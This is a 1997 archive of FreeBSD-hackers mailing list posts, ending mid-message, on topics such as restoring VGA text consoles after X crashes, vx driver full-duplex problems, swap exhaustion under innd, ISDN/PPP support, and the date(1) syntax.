owner-freebsd-hackers Fri Aug 8 17:48:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA26946 for hackers-outgoing; Fri, 8 Aug 1997 17:48:10 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA26936 for ; Fri, 8 Aug 1997 17:48:06 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id TAA01809; Fri, 8 Aug 1997 19:53:06 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Fri, 8 Aug 1997 19:53:06 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: Terry Lambert cc: hackers@FreeBSD.ORG Subject: Re: reset screen hardware? In-Reply-To: <199708082055.NAA27986@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I don't get it, aren't all SVGA cards the same when i comes down to text modes as well as regular VGA modes? I'm not familiar with the protection mechanism in freebsd, if i wrote a program to reset the text screens by programming the ports what kind of skeleton code would it need? Btw, there are interupts that point to tables of data that is put into the videocard to set various modes, could the kernel save the data before it switches to protected mode? > > Last night X crashed on me, i thought my machine needed to be rebooted, > > but first i tried to telnet into it, i was able and i killed X and had to > > restart X twice to get it to work, well everything seemed fine after that, > > however my Text consols were all fubar'd and i had no idea how to reset > > the text part of my display to i wound up rebooting anyway. > > > > What could i have done to reset the text screens? > > You could have modified X to use a DDX in the kernel so that when > the X server was killed, the kernel driver would be able to restore > the video card to the pre-X server state. > > Failing that, the console driver has no idea what the X server > has done to the I/O ports and video card reigsters; not knowing > what was done to the card means it can't know how to undo it. > > So, you could have tried to less destructively kill the X server > (kill -1 or -15 instead of -9) and prayed the signal handler did > the cleanup. If it didn't, there was nothing you could do, period. > > This is a basic problem with the design of the X-server/video card > interface for user space X server code. Nothing short of a redesign > can really fix it. > > > By the same token, the kernel debugger can't restore the video state > when you drop into the kernel debugger from X in the event of a fault > or debugging trap. > > This is one of my most long-standing gripes with UNIX systems since > the first days of X windows. 8-(. > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > From owner-freebsd-hackers Fri Aug 8 18:12:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA28064 for hackers-outgoing; Fri, 8 Aug 1997 18:12:49 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA28059 for ; Fri, 8 Aug 1997 18:12:45 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id DAA07793; Sat, 9 Aug 1997 03:23:55 +0200 (CEST) From: Mikael Karpberg Message-Id: <199708090123.DAA07793@ocean.campus.luth.se> Subject: Re: date(1) In-Reply-To: <199708010327.EAA05954@awfulhak.org> from Brian Somers at "Aug 1, 97 04:27:47 am" To: brian@awfulhak.org (Brian Somers) Date: Sat, 9 Aug 1997 03:23:55 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [Been away for over a week, so I'm sorry to jump in late here] According to Brian Somers: > > + [[cc[yy[mm[dd[hh]]]]]mm[.ss]] Note that this says this: If you give minutes you may give seconds, and you may also add centuary. If you add centuary you may add year. etc. Which makes hhmm.ss illegal. [... lots of babbling about date and its format...] > > No, it's still wrong. > > Oops, let me just delete that "no no no" mail that I nearly sent > *blush*. Of course it should be: > > [[[[[cc]yy]mm]dd]HH]MM[.SS] > > As we strip the brackets from the outside in, we get the right answer > :-) Thanks. YES! Finally! Is this the "final word" here? I've been thinking about writing a PR for date.1 because if says "[[yy[mm[dd[hh]]]]mm[.ss]]". It most definitely should be "[[[[[yy]mm]dd]HH]MM[.SS]]". With [cc] added when date actually handles that, ofcourse. /Mikael From owner-freebsd-hackers Fri Aug 8 20:17:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA03922 for hackers-outgoing; Fri, 8 Aug 1997 20:17:59 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA03917 for ; Fri, 8 Aug 1997 20:17:55 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wx20u-0000EM-00; Fri, 8 Aug 1997 20:16:24 -0700 Date: Fri, 8 Aug 1997 20:16:24 -0700 (PDT) From: Tom Samplonius To: Steve Kehlet cc: hackers@freebsd.org Subject: Re: 3c90x vx0 driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 8 Aug 1997, Steve Kehlet wrote: > I've been trying to get 10MB full-duplex to work on my 3com 3c905 > ethernet card, but have been getting sluggish response and lots of > errors at the switch. At half-duplex I have no problems. It's > irritating because it seems to work fine under NT ;-). I'm running > 2.2.1; I'd like to know if a later release might work better. > Searching the mailing list archives is interesting (but mostly out > of date) and gives me no clear answer. Does anyone know? > > vx0 <3COM 3C905 Fast Etherlink XL PCI> rev 0 int a irq 10 on pci0:11 > mii[*mii*] address 00:60:97:c2:7f:b0 > > daemon:/home/kehlet-> uname -a > FreeBSD daemon 2.2-STABLE FreeBSD 2.2-STABLE #0: Tue Jun 10 11:25:52 PDT 1997 kehlet@daemon:/usr/src/sys/compile/DAEMON i386 > > In case it helps, I used the DOS util to set the card to "Max > network perf", "full duplex", and "10 MB". Also, I don't have the > choice to use any other ethernet card since this is my computer at > work. > > Thanks very much, > > Steve Kehlet AFAIK, the fxp driver is the only driver that supports full-duplex. The new de driver (only in current right now?), probably supports full-duplex. Someone really needs to go over the vx driver and clean it up. You also might to want to look at the performance numbers on www.intel.com in regards to fxp (Intel Etherexpress Pro100B) performance. They have some links to some outside studies that were done. The FastEtherlink XL was the worst card tested! Tom From owner-freebsd-hackers Fri Aug 8 22:13:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA07900 for hackers-outgoing; Fri, 8 Aug 1997 22:13:30 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA07895 for ; Fri, 8 Aug 1997 22:13:23 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.5/8.8.5) with UUCP id XAA00459 for hackers@freebsd.org; Fri, 8 Aug 1997 23:13:22 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id TAA16774 for ; Fri, 8 Aug 1997 19:08:51 -0600 (MDT) Date: Fri, 8 Aug 1997 19:08:50 -0600 (MDT) From: Marc Slemko To: hackers@freebsd.org Subject: out of swap space but nothing killed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We have a 2.2-stable machine w/96 megs RAM and 320 megs swap running innd. There is something funny going on, and every once in a while innd seems to start to swallow memory. It appears to be a bug in innd or one of the patches we have applied. So far so good. FreeBSD can do nothing about innd croaking when it runs out of memory. However, when the machine runs out of swap innd will only sometimes die. Other times the box will sit there, still pingable but dead in the water. innd is not killed. I get a: swap_pager: out of swap space and that is all. Not even responsive to ctrl-alt-del on the console. The source seems to imply that unless the machine gets deadlocked somewhere it should kill the largest process and go on with life. Has anyone else seen similar behavior? Known issue? Perhaps space isn't being reclaimed properly from the cache in an out-of-memory situation, resulting in a deadlock: ((cnt.v_free_count + cnt.v_cache_count) < cnt.v_free_min)) { My only two guesses are that either the above is causing a problem or it simply isn't getting to this part of vm_pageout.c. The pageout daemon simply not getting woken up from its tsleep when it should be? Could increasing v_free_min help avoid this situation? Yes, knocking down the ulimits for innd to something that leaves a bit of swap free would probably avoid the problem. Guess I may have to do that. From owner-freebsd-hackers Fri Aug 8 22:14:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA07943 for hackers-outgoing; Fri, 8 Aug 1997 22:14:01 -0700 (PDT) Received: from nasu.utsunomiya-u.ac.jp (nasu.utsunomiya-u.ac.jp [160.12.128.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA07938 for ; Fri, 8 Aug 1997 22:13:57 -0700 (PDT) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by nasu.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id NAA02463; Sat, 9 Aug 1997 13:51:28 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (aeVeJv9FYnIvFrspH41ANM6E9k31l+uC@zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by outmail.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id NAA18448; Sat, 9 Aug 1997 13:51:27 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id NAA04513; Sat, 9 Aug 1997 13:57:18 +0900 (JST) Message-Id: <199708090457.NAA04513@zodiac.mech.utsunomiya-u.ac.jp> To: Alfred Perlstein cc: hackers@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: reset screen hardware? In-reply-to: Your message of "Fri, 08 Aug 1997 12:59:19 GMT." References: Date: Sat, 09 Aug 1997 13:57:17 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Last night X crashed on me, i thought my machine needed to be rebooted, >but first i tried to telnet into it, i was able and i killed X and had to >restart X twice to get it to work, well everything seemed fine after that, >however my Text consols were all fubar'd and i had no idea how to reset >the text part of my display to i wound up rebooting anyway. > >What could i have done to reset the text screens? Assuming X hasn't put your VGA hardware in a really strange state for which you definitely need VGA hardware reset to restore the screen, you may be able to put your display card back into the text mode by doing the following: 1. Quit X (you may have a garbled screen after this, but don't mind) 1. Login to the system via network. 2. Become root. 3. Load font as precaution. vidcontrol -f 8x16 /usr/share/syscons/fonts/_a_8x16_font_file_name_ 4. vidcontrol VGA_80x30 < /dev/ttyv0 5. Cycle through virtual terminals by pressing CTRL-ALT-Fn on the system's keyboard. The GENERIC kernel has four of them (ttyv0 through ttyv3). 6. vidcontrol VGA_80x25 < /dev/ttyv0 7. Cycle through virtual terminals. The idea is to force the console driver to program the VGA chip. When switching between virtual terminals, the console driver programs the VGA only if the mode of the next virtual terminal is different from the mode of the previous terminal. The step 4 in the above procedure puts the virtual terminal 0 into the 80x30 mode. The other terminals are in the 80x25 mode, so the console driver should touch the VGA when switching between the terminal 0 and the others. Kazu From owner-freebsd-hackers Fri Aug 8 22:25:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA08236 for hackers-outgoing; Fri, 8 Aug 1997 22:25:02 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA08228; Fri, 8 Aug 1997 22:24:59 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id PAA20153; Sat, 9 Aug 1997 15:24:25 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id OAA00451; Sat, 9 Aug 1997 14:54:24 +0930 (CST) Message-Id: <199708090524.OAA00451@freebie.lemis.com> Subject: Any FreeBSD people in Tokyo? To: hackers@freebsd.org (FreeBSD Hackers), chat@freebsd.org (FreeBSD Chat), questions@freebsd.org (FreeBSD Questions) Date: Sat, 9 Aug 1997 14:54:23 +0930 (CST) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'll be spending the next week (starting Sunday morning Tokyo time) in Tokyo. Is anybody there interested in getting together? You can contact me at the Dai-ichi hotel Tokyo Seafort (phone 5460-4411), or at Tandem Computers (sorry, don't have the phone number handy) from Monday onward. Greg From owner-freebsd-hackers Sat Aug 9 00:06:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA11722 for hackers-outgoing; Sat, 9 Aug 1997 00:06:43 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA11715 for ; Sat, 9 Aug 1997 00:06:36 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 14315 invoked by uid 1001); 9 Aug 1997 07:06:23 +0000 (GMT) To: tom@sdf.com Cc: kehlet@dt.wdc.com, hackers@FreeBSD.ORG Subject: Re: 3c90x vx0 driver In-Reply-To: Your message of "Fri, 8 Aug 1997 20:16:24 -0700 (PDT)" References: X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 09 Aug 1997 09:06:22 +0200 Message-ID: <14313.871110382@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > AFAIK, the fxp driver is the only driver that supports full-duplex. > > The new de driver (only in current right now?), probably supports > full-duplex. Or you can get it from Matt Thomas' web site. It definitely supports full duplex. Running full duplex at 100 Mbps is nice :-) > You also might to want to look at the performance numbers on > www.intel.com in regards to fxp (Intel Etherexpress Pro100B) performance. > They have some links to some outside studies that were done. The > FastEtherlink XL was the worst card tested! AFAIK the vx driver uses PIO, so it's likely to be slower than the fxp and de drivers in FreeBSD. Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-hackers Sat Aug 9 04:49:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA21478 for hackers-outgoing; Sat, 9 Aug 1997 04:49:34 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA21473 for ; Sat, 9 Aug 1997 04:49:31 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 22420 on Sat, 9 Aug 1997 11:49:28 GMT; id LAA22420 efrom: peter@grendel.IAEhv.nl; eto: hackers@FreeBSD.ORG Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id FAA03379; Sat, 9 Aug 1997 05:53:08 +0200 (CEST) Message-ID: <19970809055307.20710@grendel.IAEhv.nl> Date: Sat, 9 Aug 1997 05:53:07 +0200 From: Peter Korsten To: hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards References: <199708082153.XAA12878@helbig.informatik.ba-stuttgart.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: <199708082153.XAA12878@helbig.informatik.ba-stuttgart.de>; from Wolfgang Helbig on Fri, Aug 08, 1997 at 11:53:39PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Wolfgang Helbig shared with us: > > > > This is really my main point, bisdn works for some folks and not for > > other, but is no real reliable base for part of FreeBSD. It's a mess and > > that could explain why some people have so much luck and other don't. > > Mostly boiling down to "luck" I expect. > > The messy part starts when you try to run ppp over isdn. But straight > bisdn-097 works fine for a lot of people. I installed it nearly a year ago > successfully. It was one of the first things I did with FreeBSD, so > it didn't take much expertise to install. But as a matter of fact, raw IP over HDLC isn't really used outside of Germany. At least, it isn't used one country to the west, the Netherlands. I also notice that people speaking in favour of bisdn are called 'Wolfgang' and 'Hellmuth', both your average German name. I need PPP to make my ISDN card of use and though the bisdn code may be okay (I can neither confirm nor deny that), installing it is a real pain in the you-know-what and the PPP-hack looks really yuckie to me. I would be very happy with ISDN-card support as a LKM and a PPP daemon that can talk to something else than a serial line. If I could offer help in this, feel free to mail me. - Peter From owner-freebsd-hackers Sat Aug 9 06:02:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA23153 for hackers-outgoing; Sat, 9 Aug 1997 06:02:13 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id GAA23148 for ; Sat, 9 Aug 1997 06:02:08 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0wxB9g-000o9bC; Sat, 9 Aug 97 15:02 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Sat, 9 Aug 1997 14:54:43 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for hackers@FreeBSD.ORG; Sat, 9 Aug 1997 14:47:52 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #7 built 1997-Jul-4) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: ISDN drivers/cards In-Reply-To: <19970809055307.20710@grendel.IAEhv.nl> from Peter Korsten at "Aug 9, 97 05:53:07 am" To: peter@grendel.IAEhv.nl (Peter Korsten) Date: Sat, 9 Aug 1997 14:47:52 +0200 (CEST) Cc: hackers@FreeBSD.ORG Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Peter Korsten wrote: > But as a matter of fact, raw IP over HDLC isn't really used outside > of Germany. This might be possible, although it is more and more true also in germany. It came from the time, when there were no routers with ISDN interfaces available but only DOS-based CAPI-programs which were used in the beginning as IP router replacement. Raw HDLC is/was the default for CAPI 1.1 B-channel protocol and - its perfectly usable for this. But you are right, PPP is the way to go! To write free software, there must be a _personal_ problem to solve - and i don't need PPP, so until now i don't have a real pressure to write a good PPP handling support. Until now, everyone was just crying "we need PPP" but nobody of the ones who were crying did anything to implement it cleanly. But, it seems as the situation will change, as Joerg saw a need to implement kernel sync PPP, it looks like it will be part of the son of bisdn. hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe There is a difference between an open mind and a hole in the head From owner-freebsd-hackers Sat Aug 9 06:32:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA23877 for hackers-outgoing; Sat, 9 Aug 1997 06:32:44 -0700 (PDT) Received: from helbig.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA23872 for ; Sat, 9 Aug 1997 06:32:40 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.7/8.8.5) id PAA00255; Sat, 9 Aug 1997 15:32:30 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708091332.PAA00255@helbig.informatik.ba-stuttgart.de> Subject: Re: ISDN drivers/cards In-Reply-To: <19970809055307.20710@grendel.IAEhv.nl> from Peter Korsten at "Aug 9, 97 05:53:07 am" To: peter@grendel.IAEhv.nl (Peter Korsten) Date: Sat, 9 Aug 1997 15:32:30 +0200 (MET DST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Wolfgang Helbig shared with us: > > > > > > This is really my main point, bisdn works for some folks and not for > > > other, but is no real reliable base for part of FreeBSD. It's a mess and > > > that could explain why some people have so much luck and other don't. > > > Mostly boiling down to "luck" I expect. > > > > The messy part starts when you try to run ppp over isdn. But straight > > bisdn-097 works fine for a lot of people. I installed it nearly a year ago > > successfully. It was one of the first things I did with FreeBSD, so > > it didn't take much expertise to install. > > But as a matter of fact, raw IP over HDLC isn't really used outside > of Germany. At least, it isn't used one country to the west, the > Netherlands. I also notice that people speaking in favour of bisdn > are called 'Wolfgang' and 'Hellmuth', both your average German name. So call me by my hebrew name, seev :-) But seriously, also in Germany most ISPs only offer PPP connections to private customers, mostly because they want to serve more customers than they have IP addresses and thus need some protocoll to use dynamically assigned addresses. So I'm rather lucky being able to use the network of the ``Berufsakademie'', which is a school in Stuttgart I am teaching at as for part time. My main Internet connection is via a PC located in the Berufsakademie, which is running FreeBSD and bisdn. On the other hand the ISPs at least in Stuttgart *do* offer ISDN-connections with raw IP over HDLC to business customers, some of which are happily using FreeBSD machines with bisdn for routing and firewalling. So there is at least some use of bisdn-097 and it should be similar in other Eurorpean countries. > I need PPP to make my ISDN card of use and though the bisdn code > may be okay (I can neither confirm nor deny that), installing it > is a real pain in the you-know-what and the PPP-hack looks really > yuckie to me. > > I would be very happy with ISDN-card support as a LKM and a PPP > daemon that can talk to something else than a serial line. If > I could offer help in this, feel free to mail me. Just grab bisdntest-2 (if you're running FreeBSD 2.2.2), bisdn-097 and BISDN-ppp-FreeBSD2.2.tgz from ftp.muc.ditec.de, try to make it work, and fix it if it doesn't. I understand that bisdn is rewritten by Hellmuth. The next release might hit the disks in about a year. For the time being, a tutorial is needed for installing/configuring bisdn and ppp. So if you want to help ... Wolfgang From owner-freebsd-hackers Sat Aug 9 09:13:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA00225 for hackers-outgoing; Sat, 9 Aug 1997 09:13:31 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA00220 for ; Sat, 9 Aug 1997 09:13:27 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id LAA05687 for ; Sat, 9 Aug 1997 11:19:14 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Sat, 9 Aug 1997 11:19:14 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: hackers@FreeBSD.org Subject: generic compiling programming language? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I know C is 'portable' but it still requires some major hacking to get programs working on various OSes, and Java can be used/compiled almost everywhere, although i think it requires a graphical display (right?) and it is pretty slow and not a good choice for many intesive applications. Why isn't there a "Java" that is not interpreted? but could be easily cross compiled for any machine? Or is everyone hiding something from me? :) ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' From owner-freebsd-hackers Sat Aug 9 10:09:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA02577 for hackers-outgoing; Sat, 9 Aug 1997 10:09:28 -0700 (PDT) Received: from wakky.dyn.ml.org (lee@1Cust89.max17.washington.dc.ms.uu.net [153.34.57.89]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA02572 for ; Sat, 9 Aug 1997 10:09:24 -0700 (PDT) Received: (from lee@localhost) by wakky.dyn.ml.org (8.8.5/8.8.3) id NAA01091; Sat, 9 Aug 1997 13:07:45 -0400 (EDT) Message-ID: <19970809130744.15241@wakky.dyn.ml.org> Date: Sat, 9 Aug 1997 13:07:44 -0400 From: Lee Cremeans To: Alfred Perlstein Cc: hackers@freebsd.org Subject: Re: generic compiling programming language? Reply-To: hcremean@vt.edu References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79e In-Reply-To: ; from Alfred Perlstein on Sat, Aug 09, 1997 at 11:19:14AM +0000 X-OS: FreeBSD 2.2-RELEASE X-Evil: microsoft.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, Aug 09, 1997 at 11:19:14AM +0000, Alfred Perlstein wrote: > > I know C is 'portable' but it still requires some major hacking to get > programs working on various OSes, and Java can be used/compiled almost > everywhere, although i think it requires a graphical display (right?) > and it is pretty slow and not a good choice for many intesive > applications. I believe Java only needs graphics if you use the AWT toolkit; a simple "Hello world!" program would work on any text screen. > Why isn't there a "Java" that is not interpreted? but could be easily > cross compiled for any machine? That violates Sun's idea of the language; Java was made that way so that it could be cross-platform. However, it specifies not just an interpreter, but a virtual Java CPU, so silicon would be possible if you needed the speed. Also, I think the newer VM code supports just-in-time recompiling, which makes things faster. -- Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) A! JW223 YWD++^i WK+++r P&B++ SL+++^i GDF- B&M KK--i MD+++i P++ I++++ Di $++ E5/10/70/3c/73ac Ee34/1/36 H2 PonPippi Ay77 M | hcremean (at) vt.edu FreeBSD/Linux/Unix hacker...Win95 and M$ evil! (go see www.freebsd.org) My home page: http://wakky.dyn.ml.org/~lee | finger me for geek code From owner-freebsd-hackers Sat Aug 9 10:22:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03391 for hackers-outgoing; Sat, 9 Aug 1997 10:22:34 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA03384 for ; Sat, 9 Aug 1997 10:22:29 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA28695; Sat, 9 Aug 1997 19:22:27 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA09642; Sat, 9 Aug 1997 19:13:50 +0200 (MET DST) Message-ID: <19970809191349.WM58529@uriah.heep.sax.de> Date: Sat, 9 Aug 1997 19:13:49 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: pechter@lakewood.com Subject: Re: Status of PCVT References: <199707181223.IAA00359@i4got.lakewood.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Hellmuth Michaelis on Jul 18, 1997 17:32:11 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Hellmuth Michaelis wrote: > > Does anyone know the latest version avaialable of PCVT. > > 3.32. About a year old. FreeBSD-current. Quite some improvements over 3.32. :-) (Most credit goes to Kazu for his generic kbd subdriver.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Aug 9 10:23:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03439 for hackers-outgoing; Sat, 9 Aug 1997 10:23:41 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA03423 for ; Sat, 9 Aug 1997 10:23:05 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA28699; Sat, 9 Aug 1997 19:22:36 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA10096; Sat, 9 Aug 1997 19:17:00 +0200 (MET DST) Message-ID: <19970809191658.WW30693@uriah.heep.sax.de> Date: Sat, 9 Aug 1997 19:16:58 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: mgessner@aristar.com (Matthew A. Gessner) Subject: Re: Installation - SYSVSHM required for X??? References: <199707181438.KAA20593@ns.newreach.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199707181438.KAA20593@ns.newreach.net>; from Matthew A. Gessner on Jul 18, 1997 10:49:29 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Matthew A. Gessner wrote: > Why would the X servers (XF86_SVGA) give me a lot of grief > about not being able to do SYSVSHM? It's not in GENERIC, but it is > in LINT. It's in GENERIC now, too. > Do I need 